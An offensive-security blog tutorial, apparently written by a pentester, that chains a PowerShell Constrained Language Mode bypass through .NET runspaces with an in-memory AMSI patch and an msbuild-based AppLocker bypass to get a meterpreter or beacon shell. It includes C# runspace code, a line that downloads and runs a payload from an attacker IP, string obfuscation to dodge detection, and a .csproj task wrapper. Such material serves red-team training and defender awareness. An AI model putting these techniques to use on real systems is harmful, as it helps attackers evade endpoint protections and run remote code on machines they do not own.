Powershell CLM Bypass Using Runspaces
Learn about Powershell's CLM and one of the ways you can bypass the Constrained Language Mode (CLM) using Runspaces.
Usually during pentest engagements many workstations in a domain are locked down, for example, a receptionist workstation or a helpdesk workstation. They have no need of Powershell or the other administrative features on Windows. But it is common to find Powershell CLM enabled alongside Applocker rules, this post highlights one of the ways you can use to bypass Powershell's Constrained Language Mode.
So, what is Powershell's Constrained Language Mode ?
It's a restriction which prevents you from abusing a lot of powershell features and use it to enumerate, escalate privileges, stage payloads and a ton of other stuff.
More technically,
PowerShell Constrained Language is a language mode of PowerShell designed to support day-to-day administrative tasks, yet restrict access to sensitive language elements that can be used to invoke arbitrary Windows APIs.
It prevents you from dot sourcing your scripts, using the Add-Type functionality and much more. This article has a list of functions which you're restricted from using in CLM - https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/ .
Before proceeding lets take a look at it. I'll be using a fully updated Windows Server 19 VM throughout this post. Suppose we have a shell as a low-priv user at a helpdesk and need to execute a payload for meterpreter or beacon.
Here's me trying to execute my payload in memory.
Or even on disk.
As you can see the CLM prevents us from doing so.
.NET Runspaces
Runspaces helps in creating another instance of Powershell. Each powershell session you use is said to be a runspace. Using runspaces you can create a parallel instance and execute your commands through it. The powershell CLI is just an interpreter of the .NET assembly, so it's perfectly possible to create our own.
So, lets create one. :)
Make sure you have System.Automation.Management.dll added to the project.
Here's a very basic implementation of the code. Let me break it down for you -
Runspace run = RunspaceFactory.CreateRunspace();
run.Open();
The RunspaceFactory.Create() method helps in creating a new instance of the Runspace named run.
PowerShell shell = PowerShell.Create();
shell.Runspace = run;
The PowerShell shell object is created and our Runspace "run" is set as it's runspace.
String exec = "iex(new-object net.webclient).DownloadString('http://192.168.0.104/payload')";
shell.AddScript(exec);
shell.Invoke();
We assign our desired command to exec, then use AddScript() to add it to the pipeline and execute it using Invoke().
Keep in mind that there's no output from our code and it's blind for now.
Let's run it on the target and see if we succeed.
Looks like it worked. ;) Now, lets try to see what's the LanguageMode of the created RunSpace.
I modified the script a bit to return the commands output to a collection and print it out. Let's see what's up now.
That's awesome, right? The parallel runspace has FullLanguage context without any restrictions.
Plot Twist
All this time the Windows Defender was disabled and this allowed smooth execution of our payload. Let's try with the defender on.
I modified the code a bit more to get the error stream output.
Now let's enable defender and try out our bypass.
Booooooooo !
Looks like we need to deal with AMSI before we create our runspace.
I'll be using Rastamouse's AMSIScanBufferBypass project to bypass the AMSI. It involves patching the instructions of the AMSIScanBuffer function in memory to set the buffer length to 0. You should check out the blogpost series on his blog for a detailed explanation. Here's the function I added to my code -
Note that I used an array of chars and joined it to a string to avoid detection of the string "AMSIScanBuffer".
Now we call it from our Main method before creating the Powershell instance.
Now lets try it out on our Windows host.
We see it returning 0, that means the AMSI Bypass succeeded. And going back to our msfconsole instance.
Et Voila!! We have successfully bypassed defender and CLM to get a shell.
Plot Twist #2
What if there's applocker enabled on the target system ? 🤔 We won't be able to just execute our binary.
If the default rules are enabled we can just put our binary in one of the writable folders in System32 and the execute it. Like C:\Windows\System32\spool\drivers\color
or similar locations. But what if there are custom rules ?
Let me show you what I'll do. I'll be using the famous msbuild bypass to get my code executed with a .csproj file. Msbuild helps in building projects defined by XML Schema. This bypass was found by SubTee and it works most of the time.
Lets create a csproj file now, here's a good guide on creating them - https://docs.microsoft.com/en-us/aspnet/web-forms/overview/deployment/web-deployment-in-the-enterprise/understanding-the-project-file .
Before we copy our class to the file we need to make a few changes. The taskname should match the class name.
<Target Name="Bypass">
<BypassCLM/>
</Target>
<UsingTask
TaskName="BypassCLM"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
The class should implement the Task and ITask interfaces.
public class BypassCLM : Task, ITask
Then change the Main method to override the Execute() method from Tasks and return true from it.
public override bool Execute()
{
Runspace run = RunspaceFactory.CreateRunspace();
run.Open();
That's it and it should be ready to go.
Now just use msbuild on it and watch your shellz poppin'.
We see it printing a 0, that means our bypass succeeded and on the other side...
Awesome !
I've put all the code from this post in a repo so that you can check it out here- https://github.com/MinatoTW/CLMBypassBlogpost .
That's it for this post. We saw a 3 in 1 bypass for Powershell CLM, AMSI and Applocker rules. These techniques are used in many frameworks and projects like Powerpick and other C# based projects.